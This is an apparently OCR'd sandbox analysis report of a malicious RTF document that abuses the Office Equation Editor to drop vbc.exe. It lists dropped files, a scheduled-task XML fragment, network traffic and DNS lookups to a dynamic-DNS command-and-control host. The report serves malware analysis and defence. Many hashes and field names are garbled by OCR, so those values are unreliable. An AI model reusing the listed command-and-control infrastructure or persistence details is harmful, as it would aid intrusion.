Process: C:\Program Files\Microsoft Office\Office l4\WINWORD.EXE

File Type: data

Category: dropped

Size (bytes): 6656

Entropy (8bit): 3.574588492749705

Encrypted: false

SSDEEP: 96:4gpefMrLsz4kJun615UDibBb3fmdF5EiUq2jHs74qR38zZxNOp6JhA7GrI5BxHp9:4G5L9GunPibB6USM74qR38fIRv
MD5: BCC70FF52050D04E99B588B4C1FE8D27

SHAL: 5B24606278CAB64658C1E3A7512379FC5656DD76

SHA-256: CA36D4D1BB1576267168C24EAA4D500496AF1DA9EIB4863F5155EE3F8FD37870

SHA-512: 6B723A05A05D8269B14E0632F6A83BE454C0367D8E62B65234B28687A2B52EAEF59D78A812E8DA5D292073D6CBB6C8260E3FIAES500C304F2EEC5D3CE480054
Malicious: false

Reputation: low

Preview:

i 00.9.0.2..(9.2,_ 187> ] 8245 @.4.8).7..04).. 47081 2.). < - 9N, %.2.7..2.8.2.2...0.7..2.(*..]1.2.,...2.5.5).| ~.. 1.3.@#.[...9..1.|. 2.-5._.2.".2.| Nk
&5..,.4.2.2.3.<.4,_6.~2.00 [14.(2. 3~ %A 28] (_)_.9.) 22 m A Hm%.,.9.0..2.2.2._8.2.6.2.1.3H...,.8.8.8.(....%.1.6.2.,'~.2.~].7.1).2.3.2.~..%.2..,.4.2.0.
1.8.=]. 2.0 4% > 4.:2.$.[.2.. 3.8 2.(1.. 2.8, 500 _L.%.;. 7.7 A4 H#A2 A~ [14]).[ <] ) ].35()..>.8.[1"])..0]5._"".9.6._.3).".0...,.4.2.&0.
8.~5.2...7.2.%./>-@.<.0.0.2.,.2.#.[*9.2.%.#.> * 8. 5.,<.8.8.4.].%.%.8.9.2.|. . *_@.+4 (+_428.1.3[485*@.3.29..%..1.(@.@.<8.:95.]).6.9.~ 4] [$.
1(-%.%.%.+.@.6./.%. _~.&4.1*:., 925 #.2..%..6].... | [$/&]. 2> T (| 2.4..2.2.04.%.8.44.2..7.0.9) /2.2, ].>.8.5(<-2.1/.0.1.2..>..5...2.2..2

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{D1977121-551E-40AF-9919-E039C2A6E74E}.tmp
Process: C:\Program Files\Microsoft Office\Office l4\WINWORD.EXE

File Type: data

Category: dropped

Size (bytes): 1024

Entropy (8bit): 0.05390218305374581

Encrypted: false

SSDEEP: 3:013lYdn:4Wn

MD5: 5D4D94EE7E06BBBOAF9584119797B23A

SHAL: DBB111419C704F116EFA8E72471DD83E86E49677

SHA-256: 4826C0D860AF884D3343CAB6460B0006A7A2CE7DBCCC4D743208585D997CC5FD1

SHA-512: 95F83AE84CAFCCED5SEAF504546725C34D5F9710E5CA2D11761486970F2FBECCB25F9CF50BBFC272BD75E1A66A18B7783F09E1C1454AFDA519624BC2BB2F28B
Ad

Malicious: false

Reputation: high, very likely benign file

Preview:

Process: C:\Users\Public\vbc.exe

File Type: XML 1.0 document, ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 1286

Entropy (8bit): 5.089527710260899

Encrypted: false

SSDEEP: 24:2dH4+S/40L600QIMhEMjn5pwjVLUYODOLG9RJIh7h8gK0JXxtn:cbk4oL600QydbQxlYODOLedq3Sj
MDS5: DEB609C2718F3CDFFEC272701C7CBEFA

SHA1L: 41371E8823D438D91ECF9A84738FD179204353DF

SHA-256: 331FF9D8F5A059660B5E9F4141CECD44B42B2A066F1053F59F87B5C1ESEC6ECA

SHA-512: 9F976C70E4C3E11674F122F29585169BBB9CESEOCDDBBC1D1705169B1B36175E17AB4986753D62F7E9E84D80A9A3077626E22AB7EE26B2B1F2DD2A9B4734385]
Malicious: true

Reputation: low
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Preview:

<?xml version="1.0" encoding="UTF-16"?>..<Task version="1.2" xmlIns="http://schemas.microsoft.com/windows/2004/02/mit/task">.. <RegistrationInfo />.. <Triggers />..
<Principals>.. <Principal id="Author">..  <LogonType>InteractiveToken</LogonType>..  <RunLevel>HighestAvailable</RunLevel>.. </Principal>.. </Principals>..
<Settings>.. <MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy>.. <DisallowStartifOnBatteries>false</DisallowStartifOnBatteries>.. ~<StoplfGoingOnBatterie
s>false</StoplfGoingOnBatteries>.. <AllowHardTerminate>true</AllowHardTerminate>.. ~<StartWhenAvailable>false</StartWhenAvailable>.. <RunOnlylfNetworkAv
ailable>false</RunOnlylfNetworkAvailable>.. <IdleSettings>..  <StopOnldleEnd>false</StopOnidleEnd>..  <RestartOnldle>false</RestartOnidle>.. </IdI
eSettings>.. <AllowStartOnDemand>true</AllowStartOnDemand>.. <Enabled>true</Enabled>.. <Hidden>false</Hidden>.. <RunOnlylfldle>false</RunOnlylfldie>..
<Wak

C:\Users\luser\AppData\Local\Temp\tmp785C.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Users\Public\vbc.exe

XML 1.0 document, ASCII text, with CRLF line terminators

dropped

1310

5.1063907901076036

false
24:2dH4+S/40L600QIMhEMjn5pwjVLUYODOLG9RJIh7h8gKORI4xtn:cbk4oL600QydbQxIYODOLedq3Sl4j
CFAESA3B7D8AA9653FE2512578A0D23A

A91A2F8DAEF114F89038925ADA6784646A0A5B12
2AB741415F193A2A9134EAC48A2310899D18EFB5E61C3E81C35140A7TEFEA30FA
9DFD7ECA6924AE2785CE826A447B6CE6D043C552FBD3B8A8B04CE6722B07A74900E703DC56CD4443CAESABI601F21A6068E29771E48497A9AE434096A11814E8

false

<?xml version="1.0" encoding="UTF-16"?>..<Task version="1.2" xmlIns="http://schemas.microsoft.com/windows/2004/02/mit/task">.. <RegistrationInfo />.. <Triggers />..
<Principals>.. <Principal id="Author">..  <LogonType>InteractiveToken</LogonType>..  <RunLevel>HighestAvailable</RunLevel>.. </Principal>.. </Principals>..
<Settings>.. <MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy>.. <DisallowStartifOnBatteries>false</DisallowStartifOnBatteries>.. ~<StoplfGoingOnBatterie
s>false</StoplfGoingOnBatteries>.. <AllowHardTerminate>true</AllowHardTerminate>.. ~<StartWhenAvailable>false</StartWhenAvailable>.. <RunOnlylfNetworkAv
ailable>false</RunOnlylfNetworkAvailable>.. <IdleSettings>..  <StopOnldleEnd>false</StopOnidleEnd>..  <RestartOnldle>false</RestartOnidle>.. </IdI
eSettings>.. <AllowStartOnDemand>true</AllowStartOnDemand>.. <Enabled>true</Enabled>.. <Hidden>false</Hidden>.. <RunOnlylfldle>false</RunOnlylfldie>..
<Wak

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Users\Public\vbc.exe

Non-I1SO extended-ASCII text, with no line terminators

dropped

8

2.75

false

3:0pp:Opp

418DOEOCFCOD7FA94E7E818EB77761B0
A9016EE9E5AD5FDB39E4D404B33B7B2C4F7DE455
27E691F904CC71E3044E3B7566F969A53EE95B0BCD19FEOCEADCB3DCF5F90C5F
8C6A8BACCFE7197D3EA4E999AD33524CA03FACAB821E021677C036592256431A001398400115A155A00411CCA99891CDECDDCBDBD28518CF8CDOE887856749¢

true

000...H

C:\Users\user\AppData\Roaming\EA860E7A-A87F-4A88-92EF-38F744458171\task.dat

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Users\Public\vbc.exe

ASCII text, with no line terminators

dropped

23

3.849223912390625

false

3:0NaHF5T7An:oNaHPENn

1D9E6BOB439CE23002CBBCC0OD33204CD
F2BA6404171508424646530543A891EF54A26D77
4F156226A01768B229B3F0807A841C9764B9757EDB5B1A08459565CDD34DA38C
A0637495A857BF7BB4914733DB7D86A92A831502F7B3FF4376EF46B4306FFCE2AA95FOECOCDFBOEC29275BB9718EE8FD37145CD21B0B71476217A06636199949

false

C:\Users\Public\vbc.exe

C:\Users\luser\AppData\Roaming\Microsoft\Office\Recent\HLiw2LPA8i.LNK

Process:

File Type:

Category:
Size (bytes):

Copyright null 2020

C:\Program Files\Microsoft Office\Office l4\WINWORD.EXE

MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 26 14:08:18 2020, mtime=Wed Aug 26 14:08:18 2020,
atime=Wed Nov 18 18:54:41 2020, length=9774, window=hide

dropped
2028
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C:\Users\luser\AppData\Roaming\Microsoft\Office\Recent\HLiw2LPA8i.LNK

Entropy (8bit):

Encrypted:
SSDEEP:
MD5:
SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

4.542366311367571

false

24:8ilH/XTm6Gbo3vem33Dv3q0dM7dD2ilH/XTm6Gbo3vem33Dv3q0dM7dV:8H/XTFGbsNmMOQh2H/XTFGbsNmOQ/

35B0565B2E780AFF5FC1D6051EFC5A8D

870CE4F442CDDB6EC66785A020FD203CC934E823

FA2FAEC0406C50749D50BDCB72F8CD82EF6766031C28745133F3FC758D62598B
B2AF854BBF32A3C4E4095C6F01D46B7D1C03987E0747D129283C37C868924C3015119FBBDB83D4D02B3A3EFC70EOFF58F81F2807998758D63C09F160FDI7ACE

false

Londi20& el PLOL 400 /C Nl t.1.....QK.X..Users. ‘.......:..QK X*.
.1.8.1.3.. L.1.....Q.y..user.8.....QK.X.Q.y* .....Q.y..Desktop.d... QKXQy
f2.&.rQ. HLIW2L~1.RTF.J....... Q.y.Q.y*. 8 HL|W2LPA8| rtf.

...6....Us.ers.@.s.h.ell3.2.d.ll,.
.D.esskto.p..@.s.hell3.2.dll, -217.

. ...C:\Users\..#...... \045012\Users
user\Desktop\HLlWZLPA8| rtf.%....\..o \D e.s. k to.p\H.Liw.2.L.P.A8.i.r.tf LB ) Ag .1SPS.XF.L8C....&m.m ...S.-.1.-5.-2.1.-.9.6.
6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7 - 367336477 .1.0.0.6... v Xe.045012. D_....3N...W...9F.C ........... [D_...3N..W...9F.C..

C:\Users\luser\AppData\Roaming\Microsoft\Office\Recentlindex.dat

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MDS5:
SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

ASCII text, with CRLF line terminators

dropped

70

4.157106324292785

false

3:HmMP1V301liglV3omxWmP1V3ov:HU1V3+iglV3Z1V3y
DAO539CDFFD1E32F26C89C1F514E0C81
C6DE3360D68C412A594AE7F663D5B2D20DB78F72
CB8AA62DODFA7D04B921DCA5864CB7419DD388730E20857A091D718625189D63E
ADD1E881139E7E523D85ABIFE121F52D215F156A1F2B634519977DDAF0B517FA72732692AC1F60F07281205043AE3DADCAAAOD77D965C48370EB17021AF2BAC

false

[misc]..HLiw2LPA8i.LNK=0..HLiw2LPA8i.LNK=0..[misc]..HLiw2LPA8i.LNK=0..

C:\Users\luser\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MD5:
SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

data

dropped

162

2.431160061181642

false

3:vrJlaCkWitVy3KGcilséw7Adtin:vdsCkWthGeiwfQl
4A5DFFE330E8BBBF59615CB0C71B87BE
7B896C17F93ECFCIB69EB4FCIEADEDDIDAS50C4B
D28616DC54FDEF1FF5C5BA05A77F178B7E3304493BAF3F4407409F2C84F4F215
3AA160CB89F4D8393BCBFIFF4357FFE7AE00663F21F436D341FA4F5AD4AEDC737092985EB4A94A694A02780597C6375D1615908906A6CEC6D7AB616791B6285C

false

LUSET ettt Alb.us........ Pttt P Zeiiiiiin X...

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MDS5:
SHA1L:
SHA-256:
SHA-512:

Malicious:

Antivirus:

Copyright null 2020

C:\Users\Public\vbc.exe

PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

dropped

798720

7.062174295870852

false

24576:Jsa5TcLNpo2AbALY 7/6RQeWXKaRXKzkICbX:baha2EAt46wXKaRDCh
678DAC5FC4C6A55F032BA40698895E6A
8EA9541292F8E5D68948031EBCEDAFE04DDA4A36
78491E950A624399F497CEDD25CAE2231223B1BCD2F93379480B3C9EDB4C6A92

3183B4FF5E16E81BD6E0509FA473F42AE8DB8DICIB41405E8A723BA4647DDBD58356A324B3C6FBCIAC390BC592086C07424D65ECF34EA79BD6862D7FD80CS8
6

true

e Antivirus: Joe Sandbox ML, Detection: 100%
e Antivirus: ReversingLabs, Detection: 23%

Page 19 of 50



Preview:

N+ + 4 (B (X 2 >+ (L0

SO PO Y GO (PP (PRI (PO (RO (PPN (PO (RN

C:\Users\user\Desktop\~$iw2LPA8i.rtf
Process: C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE
File Type: data
Category: dropped
Size (bytes): 162
Entropy (8bit):  2.431160061181642
Encrypted: false
SSDEEP: 3:vrJlaCkWtVy3KGcilséw7Adtin:vdsCkWthGeiwfQl
MD5: 4A5DFFE330E8BBBF59615CB0C71B87BE
SHA1L: 7B896C17F93ECFCI9B69E84FC1IEADEDDI9DAS50C4B
SHA-256: D28616DC54FDEF1FF5C5BA0SA77F178B7E3304493BAF3F4407409F2C84F4F215
SHA-512: 3AA160CB89F4D8393BCBFIFF4357FFE7AE00663F21F436D341FA4F5ADAAEDC737092985EB4A94A694A02780597C6375D1615908906A6CEC6D7AB616791B6285C
Malicious: false
Preview:

LUSBI et Alb.us............. P P Zooiiiinad X...

Process: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

File Type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

Category: dropped

Size (bytes): 798720

Entropy (8bit): 7.062174295870852

Encrypted: false

SSDEEP: 24576:Jsa5TcLNpo2AbALY 7/6RQeWXKaRXKzkICbX:baha2EAt46wXKaRDCh

MDS5: 678DAC5FC4C6A55F032BA40698895E6A

SHA1L: 8EA9541292F8E5D68948031EBCEDAFE04DDA4A36

SHA-256: 78491E950A624399F497CEDD25CAE2231223B1BCD2F93379480B3C9EDB4C6A92

SHA-512: 3183B4FF5E16E81BD6E0S09FA473F42AE8DB8DICIBA1405E8A723BA4647DDBD58356A324B3C6FBCIAC390BC592086C07424D65ECF34EA79BD6862D7FD80CS8
6

Malicious: true

Antivirus: e Antivirus: Joe Sandbox ML, Detection: 100%

e Antivirus: ReversingLabs, Detection: 23%

Preview:

coee e ISTCLLL Ve X

. Ol A&

O OO O (PO CUPP IO (PP TOY (FUULIP (PPN (UL (OO IO (PRI (UOVRTOY CUPURTOY (RUUIOY (RPN (ORI COPPR I (ORI (UOPL.IOY (UOULIOY CURPLIOY (PRI (RO
e

.@..B

[ S T (R S

e

Static File Info

General

File type: Rich Text Format data, unknown version

Entropy (8bit): 5.298921715424193

TriD: e Rich Text Format (5005/1) 55.56%

e Rich Text Format (4004/1) 44.44%

File name: HLiw2LPASi.rtf

File size: 9774

MD5: 41820dc68297b85f7dc85540a3423c1d

SHA1L: 5292d196dffee7a5f3ce6e2alfdf7842802ed5fd

SHA256: 216e0f960afa28ba0c9f7f60ca7261bed994a3c5c3e218a
2cfad7a0af9011c2d

SHA512: eclaBa4b08a6c5b589432fadec1d9011367bae7535998a
149c3fd6198b53588fh6e2d39e8077232eeledd7134410:
6d25583cc88adc23da7e3f803e0e397b70

SSDEEP: 192:VTOBZ10kB4q1fXT7ng3g3iRVIWh1ledNgObHOsQ

05QC:VTi1QqlPnS2iRqWh1ddNLVQOOC
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General

File Content Preview:

File Icon

Icon Hash:

Static RTF Info

Objects

Id Start
0 00000B06h

Network Behavior

Format ID

Snort IDS Alerts
Timestamp Protocol SID
11/18/20- ICMP 399
11:55:44.470110

11/18/20- ICMP 399
11:55:47.474185

11/18/20- ICMP 399
11:55:55.430038

11/18/20- ICMP 399
11:56:09.829906

11/18/20- ICMP 399
11:56:09.829927

11/18/20- ICMP 399
11:56:17.001896

11/18/20- ICMP 399
11:56:34.485943

11/18/20- ICMP 399
11:56:37.489893

11/18/20- ICMP 399
11:56:41.182034

11/18/20- ICMP 399
11:56:50.266036

11/18/20- ICMP 399
11:56:53.709906

11/18/20- ICMP 399
11:56:58.530108

Network Port Distribution

Total Packets: 42

® 53 (DNS)
@ 80 (HTTP)

Copyright null 2020

Format Classname

embedded equatlOn.3

Message

ICMP Destination Unreachable Host Unreachable

ICMP Destination Unreachable Host Unreachable

ICMP Destination Unreachable Host Unreachable

ICMP Destination Unreachable Host Unreachable

ICMP Destination Unreachable Host Unreachable

ICMP Destination Unreachable Host Unreachable

ICMP Destination Unreachable Host Unreachable

ICMP Destination Unreachable Host Unreachable

ICMP Destination Unreachable Host Unreachable

ICMP Destination Unreachable Host Unreachable

ICMP Destination Unreachable Host Unreachable

ICMP Destination Unreachable Host Unreachable

edeea2aaadbdbdad
Datasize Filename
2098

Q\rtf5801:...409'2.(9?, 1°&7/.5].&*24*@48)7;04).47):81"2
).<M-.9M 0627.2$22]107.2(*.]2;.25>)|~. 13@#[.91|2-5_?".2|*
#&5°,4223<.4_6~7:[+(2° 3~%28J#(/__.9.)=2. 1=+
9;9/.722_&?6?13#.,88&(..%"6?, ~2~]7/)232~:%7;, 4204
1= =/&=|204%">+:2$[2.37.& 2(1.2%$,* 0!

Sourcepath Temppath Exploit
no
Source Dest
Port Port Source IP Dest IP

173.208.113.7 192.168.2.22

173.208.113.7 192.168.2.22

173.208.113.7 192.168.2.22

173.208.113.7 192.168.2.22

173.208.113.7 192.168.2.22

173.208.113.7 192.168.2.22

173.208.113.7 192.168.2.22

173.208.113.7 192.168.2.22

173.208.113.7 192.168.2.22

173.208.113.7 192.168.2.22

173.208.113.7 192.168.2.22

173.208.113.7 192.168.2.22
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TCP Packets

Timestamp Source Port Dest Port Source IP Dest IP

Nov 18, 2020 11:54:55.516313076 CET 49167 80 192.168.2.22 151.80.8.30
Nov 18, 2020 11:54:55.542042017 CET 80 49167 151.80.8.30 192.168.2.22
Nov 18, 2020 11:54:55.542313099 CET 49167 80 192.168.2.22 151.80.8.30
Nov 18, 2020 11:54:55.542629957 CET 49167 80 192.168.2.22 151.80.8.30
Nov 18, 2020 11:54:55.568844080 CET 80 49167 151.80.8.30 192.168.2.22
Nov 18, 2020 11:54:55.568875074 CET 80 49167 151.80.8.30 192.168.2.22
Nov 18, 2020 11:54:55.568890095 CET 80 49167 151.80.8.30 192.168.2.22
Nov 18, 2020 11:54:55.568906069 CET 80 49167 151.80.8.30 192.168.2.22
Nov 18, 2020 11:54:55.568969011 CET 49167 80 192.168.2.22 151.80.8.30
Nov 18, 2020 11:54:55.568993092 CET 49167 80 192.168.2.22 151.80.8.30
Nov 18, 2020 11:54:55.594613075 CET 80 49167 151.80.8.30 192.168.2.22
Nov 18, 2020 11:54:55.594645977 CET 80 49167 151.80.8.30 192.168.2.22
Nov 18, 2020 11:54:55.594661951 CET 80 49167 151.80.8.30 192.168.2.22
Nov 18, 2020 11:54:55.594672918 CET 80 49167 151.80.8.30 192.168.2.22
Nov 18, 2020 11:54:55.594686031 CET 80 49167 151.80.8.30 192.168.2.22
Nov 18, 2020 11:54:55.594697952 CET 80 49167 151.80.8.30 192.168.2.22
Nov 18, 2020 11:54:55.594710112 CET 80 49167 151.80.8.30 192.168.2.22
Nov 18, 2020 11:54:55.594724894 CET 80 49167 151.80.8.30 192.168.2.22
Nov 18, 2020 11:54:55.594759941 CET 49167 80 192.168.2.22 151.80.8.30
Nov 18, 2020 11:54:55.594805002 CET 49167 80 192.168.2.22 151.80.8.30
Nov 18, 2020 11:54:55.594825029 CET 49167 80 192.168.2.22 151.80.8.30
Nov 18, 2020 11:54:55.620558023 CET 80 49167 151.80.8.30 192.168.2.22
Nov 18, 2020 11:54:55.620588064 CET 80 49167 151.80.8.30 192.168.2.22
Nov 18, 2020 11:54:55.620603085 CET 80 49167 151.80.8.30 192.168.2.22
Nov 18, 2020 11:54:55.620618105 CET 80 49167 151.80.8.30 192.168.2.22
Nov 18, 2020 11:54:55.620634079 CET 80 49167 151.80.8.30 192.168.2.22
Nov 18, 2020 11:54:55.620651960 CET 80 49167 151.80.8.30 192.168.2.22
Nov 18, 2020 11:54:55.620670080 CET 80 49167 151.80.8.30 192.168.2.22
Nov 18, 2020 11:54:55.620676994 CET 49167 80 192.168.2.22 151.80.8.30
Nov 18, 2020 11:54:55.620687008 CET 80 49167 151.80.8.30 192.168.2.22
Nov 18, 2020 11:54:55.620699883 CET 49167 80 192.168.2.22 151.80.8.30
Nov 18, 2020 11:54:55.620699883 CET 80 49167 151.80.8.30 192.168.2.22
Nov 18, 2020 11:54:55.620703936 CET 49167 80 192.168.2.22 151.80.8.30
Nov 18, 2020 11:54:55.620718956 CET 80 49167 151.80.8.30 192.168.2.22
Nov 18, 2020 11:54:55.620728016 CET 49167 80 192.168.2.22 151.80.8.30
Nov 18, 2020 11:54:55.620737076 CET 80 49167 151.80.8.30 192.168.2.22
Nov 18, 2020 11:54:55.620749950 CET 49167 80 192.168.2.22 151.80.8.30
Nov 18, 2020 11:54:55.620754957 CET 80 49167 151.80.8.30 192.168.2.22
Nov 18, 2020 11:54:55.620771885 CET 80 49167 151.80.8.30 192.168.2.22
Nov 18, 2020 11:54:55.620786905 CET 80 49167 151.80.8.30 192.168.2.22
Nov 18, 2020 11:54:55.620798111 CET 80 49167 151.80.8.30 192.168.2.22
Nov 18, 2020 11:54:55.620799065 CET 49167 80 192.168.2.22 151.80.8.30
Nov 18, 2020 11:54:55.620804071 CET 49167 80 192.168.2.22 151.80.8.30
Nov 18, 2020 11:54:55.620819092 CET 49167 80 192.168.2.22 151.80.8.30
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Timestamp Source Port Dest Port Source IP Dest IP

Nov 18, 2020 11:54:55.620877981 CET 49167 80 192.168.2.22 151.80.8.30
Nov 18, 2020 11:54:55.621985912 CET 49167 80 192.168.2.22 151.80.8.30
Nov 18, 2020 11:54:55.646372080 CET 80 49167 151.80.8.30 192.168.2.22
Nov 18, 2020 11:54:55.646401882 CET 80 49167 151.80.8.30 192.168.2.22
Nov 18, 2020 11:54:55.646419048 CET 80 49167 151.80.8.30 192.168.2.22
Nov 18, 2020 11:54:55.646434069 CET 80 49167 151.80.8.30 192.168.2.22
Nov 18, 2020 11:54:55.646450043 CET 80 49167 151.80.8.30 192.168.2.22
Nov 18, 2020 11:54:55.646470070 CET 80 49167 151.80.8.30 192.168.2.22
Nov 18, 2020 11:54:55.646486998 CET 80 49167 151.80.8.30 192.168.2.22
Nov 18, 2020 11:54:55.646502018 CET 80 49167 151.80.8.30 192.168.2.22
Nov 18, 2020 11:54:55.646521091 CET 80 49167 151.80.8.30 192.168.2.22
Nov 18, 2020 11:54:55.646537066 CET 80 49167 151.80.8.30 192.168.2.22
Nov 18, 2020 11:54:55.646553993 CET 80 49167 151.80.8.30 192.168.2.22
Nov 18, 2020 11:54:55.646570921 CET 80 49167 151.80.8.30 192.168.2.22
Nov 18, 2020 11:54:55.646573067 CET 49167 80 192.168.2.22 151.80.8.30
Nov 18, 2020 11:54:55.646584034 CET 80 49167 151.80.8.30 192.168.2.22
Nov 18, 2020 11:54:55.646595001 CET 49167 80 192.168.2.22 151.80.8.30
Nov 18, 2020 11:54:55.646599054 CET 49167 80 192.168.2.22 151.80.8.30
Nov 18, 2020 11:54:55.646601915 CET 80 49167 151.80.8.30 192.168.2.22
Nov 18, 2020 11:54:55.646603107 CET 49167 80 192.168.2.22 151.80.8.30
Nov 18, 2020 11:54:55.646612883 CET 49167 80 192.168.2.22 151.80.8.30
Nov 18, 2020 11:54:55.646617889 CET 80 49167 151.80.8.30 192.168.2.22
Nov 18, 2020 11:54:55.646631002 CET 80 49167 151.80.8.30 192.168.2.22
Nov 18, 2020 11:54:55.646642923 CET 80 49167 151.80.8.30 192.168.2.22
Nov 18, 2020 11:54:55.646660089 CET 80 49167 151.80.8.30 192.168.2.22
Nov 18, 2020 11:54:55.646676064 CET 80 49167 151.80.8.30 192.168.2.22
Nov 18, 2020 11:54:55.646684885 CET 49167 80 192.168.2.22 151.80.8.30
Nov 18, 2020 11:54:55.646692038 CET 49167 80 192.168.2.22 151.80.8.30
Nov 18, 2020 11:54:55.646693945 CET 80 49167 151.80.8.30 192.168.2.22
Nov 18, 2020 11:54:55.646696091 CET 49167 80 192.168.2.22 151.80.8.30
Nov 18, 2020 11:54:55.646703005 CET 49167 80 192.168.2.22 151.80.8.30
Nov 18, 2020 11:54:55.646708012 CET 80 49167 151.80.8.30 192.168.2.22
Nov 18, 2020 11:54:55.646723986 CET 80 49167 151.80.8.30 192.168.2.22
Nov 18, 2020 11:54:55.646739960 CET 80 49167 151.80.8.30 192.168.2.22
Nov 18, 2020 11:54:55.646754980 CET 49167 80 192.168.2.22 151.80.8.30
Nov 18, 2020 11:54:55.646755934 CET 80 49167 151.80.8.30 192.168.2.22
Nov 18, 2020 11:54:55.646760941 CET 49167 80 192.168.2.22 151.80.8.30
Nov 18, 2020 11:54:55.646773100 CET 80 49167 151.80.8.30 192.168.2.22
Nov 18, 2020 11:54:55.646775007 CET 49167 80 192.168.2.22 151.80.8.30
Nov 18, 2020 11:54:55.646792889 CET 80 49167 151.80.8.30 192.168.2.22
Nov 18, 2020 11:54:55.646810055 CET 80 49167 151.80.8.30 192.168.2.22
Nov 18, 2020 11:54:55.646821022 CET 49167 80 192.168.2.22 151.80.8.30
Nov 18, 2020 11:54:55.646826029 CET 80 49167 151.80.8.30 192.168.2.22
Nov 18, 2020 11:54:55.646826982 CET 49167 80 192.168.2.22 151.80.8.30
Nov 18, 2020 11:54:55.646836042 CET 49167 80 192.168.2.22 151.80.8.30
Nov 18, 2020 11:54:55.646842957 CET 80 49167 151.80.8.30 192.168.2.22
Nov 18, 2020 11:54:55.646856070 CET 49167 80 192.168.2.22 151.80.8.30
Nov 18, 2020 11:54:55.646858931 CET 80 49167 151.80.8.30 192.168.2.22
Nov 18, 2020 11:54:55.646887064 CET 49167 80 192.168.2.22 151.80.8.30
Nov 18, 2020 11:54:55.646897078 CET 49167 80 192.168.2.22 151.80.8.30
Nov 18, 2020 11:54:55.648106098 CET 49167 80 192.168.2.22 151.80.8.30
Nov 18, 2020 11:54:55.672571898 CET 80 49167 151.80.8.30 192.168.2.22
Nov 18, 2020 11:54:55.672614098 CET 80 49167 151.80.8.30 192.168.2.22
Nov 18, 2020 11:54:55.672640085 CET 80 49167 151.80.8.30 192.168.2.22
Nov 18, 2020 11:54:55.672667027 CET 80 49167 151.80.8.30 192.168.2.22
Nov 18, 2020 11:54:55.672693014 CET 80 49167 151.80.8.30 192.168.2.22

UDP Packets

Timestamp Source Port Dest Port Source IP Dest IP
Nov 18, 2020 11:55:43.246233940 CET 52197 53 192.168.2.22 8.8.8.8
Nov 18, 2020 11:55:43.295228958 CET 53 52197 8.8.8.8 192.168.2.22
Nov 18, 2020 11:56:06.690603018 CET 53099 53 192.168.2.22 8.8.8.8
Nov 18, 2020 11:56:06.725873947 CET 53 53099 8.8.8.8 192.168.2.22
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Timestamp Source Port Dest Port Source IP Dest IP

Nov 18, 2020 11:56:31.337769985 CET 52838 53 192.168.2.22 8.8.8.8
Nov 18, 2020 11:56:31.373466969 CET 53 52838 8.8.8.8 192.168.2.22
Nov 18, 2020 11:56:47.535895109 CET 61200 53 192.168.2.22 8.8.8.8
Nov 18, 2020 11:56:47.576034069 CET 53 61200 8.8.8.8 192.168.2.22
Nov 18, 2020 11:57:12.656078100 CET 49548 53 192.168.2.22 8.8.8.8
Nov 18, 2020 11:57:12.708713055 CET 53 49548 8.8.8.8 192.168.2.22
DNS Queries
Timestamp Source IP Dest IP Trans ID OP Code Name Type Class
Nov 18, 2020 11:55:43.246233940 CET 192.168.2.22 8.8.8.8 0x95dc Standard query  swryijgrvc A (IP address) IN (0x0001)
(0) sgkopnmcde
rtvgdswbvm
ophtfdczxs
.ydns.eu
Nov 18, 2020 11:56:06.690603018 CET 192.168.2.22 8.8.8.8 0x9e27 Standard query  swryijgrvc A (IP address) IN (0x0001)
(0) sgkopnmcde
rtvgdswbvm
ophtfdczxs
.ydns.eu
Nov 18, 2020 11:56:31.337769985 CET 192.168.2.22 8.8.8.8 0x9b5 Standard query  swryijgrvc A (IP address) IN (0x0001)
(0) sgkopnmcde
rtvgdswbvm
ophtfdczxs
.ydns.eu
Nov 18, 2020 11:56:47.535895109 CET 192.168.2.22 8.8.8.8 Oxfeee Standard query  swryijgrvc A (IP address) IN (0x0001)
0) sgkopnmcde
rtvgdswbvm
ophtfdczxs
.ydns.eu
Nov 18, 2020 11:57:12.656078100 CET 192.168.2.22 8.8.8.8 0xa78b Standard query  swryijgrvc A (IP address) IN (0x0001)
0) sgkopnmcde
rtvgdswbvm
ophtfdczxs
.ydns.eu
DNS Answers
Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class
Nov 18, 2020 8.8.8.8 192.168.2.22 0x95dc No error (0) swryijgrve 192.253.246.143 A (IP address) IN (0x0001)
11:55:43.295228958 sgkopnmcde
CET rtvgdswbvm
ophtfdczxs
.ydns.eu
Nov 18, 2020 8.8.8.8 192.168.2.22 0x9e27 No error (0) swryijgrve 192.253.246.143 A (IP address) IN (0x0001)
11:56:06.725873947 sgkopnmcde
CET rtvgdswbvm
ophtfdczxs
.ydns.eu
Nov 18, 2020 8.8.8.8 192.168.2.22 0x9b5 No error (0) swryijgrve 192.253.246.143 A (IP address) IN (0x0001)
11:56:31.373466969 sgkopnmcde
CET rtvgdswbvm
ophtfdczxs
.ydns.eu
